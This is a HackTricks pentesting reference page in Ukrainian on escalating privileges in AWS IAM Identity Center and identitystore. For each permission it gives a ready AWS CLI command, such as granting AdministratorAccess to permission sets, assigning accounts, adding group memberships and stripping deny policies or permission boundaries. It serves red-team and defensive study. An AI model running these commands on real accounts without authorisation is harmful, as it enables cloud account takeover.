AWS - SSO & identitystore Privesc
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
AWS Identity Center / AWS SSO
Для отримання додаткової інформації про AWS Identity Center / AWS SSO перегляньте:
AWS - IAM, Identity Center & SSO Enum
warning
Зверніть увагу, що за замовчуванням лише користувачі з правами з Управлінського облікового запису зможуть отримати доступ і керувати IAM Identity Center.
Користувачі з інших облікових записів можуть це дозволити лише якщо обліковий запис є делегованим адміністратором.
Перегляньте документацію для отримання додаткової інформації.
Скидання пароля
Легкий спосіб підвищити привілеї в таких випадках, як цей, полягає в тому, щоб мати дозвіл, який дозволяє скинути паролі користувачів. На жаль, можливо лише надіслати електронний лист користувачу для скидання його пароля, тому вам знадобиться доступ до електронної пошти користувача.
identitystore:CreateGroupMembership
З цим дозволом можливо додати користувача до групи, щоб він успадкував усі дозволи, які має група.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet
, sso:ProvisionPermissionSet
Зловмисник з цим дозволом може надати додаткові дозволи до набору дозволів, який надано користувачу під його контролем.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet
, sso:ProvisionPermissionSet
Зловмисник з цим дозволом може надати додаткові дозволи до Набору дозволів, який надано користувачу під його контролем.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet
, sso:ProvisionPermissionSet
Зловмисник з цим дозволом може надати додаткові дозволи до Набору дозволів, який надано користувачу під його контролем.
warning
Щоб зловживати цими дозволами в цьому випадку, вам потрібно знати ім'я політики, що керується клієнтом, яка є в усіх облікових записах, які будуть під впливом.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Зловмисник з цим дозволом міг би надати Набір дозволів користувачу під його контролем для облікового запису.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Повертає короткострокові облікові дані STS для вказаного імені ролі, яка призначена користувачу.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Однак вам потрібен токен доступу, якого я не впевнений, як отримати (TODO).
sso:DetachManagedPolicyFromPermissionSet
Зловмисник з цим дозволом може видалити асоціацію між керованою політикою AWS та вказаним набором дозволів. Можливо надати більше привілеїв через від'єднання керованої політики (політика заборони).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Зловмисник з цим дозволом може видалити асоціацію між політикою, керованою замовником, та вказаним набором дозволів. Можливо надати більше привілеїв шляхом від'єднання керованої політики (політики заборони).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Зловмисник з цим дозволом може видалити дозволи з вбудованої політики з набору дозволів. Можливо надати більше привілеїв, відключивши вбудовану політику (політика заборони).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Зловмисник з цим дозволом може видалити межу дозволів з набору дозволів. Можливо надати більше привілеїв, видаливши обмеження на набір дозволів, наданий межою дозволів.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.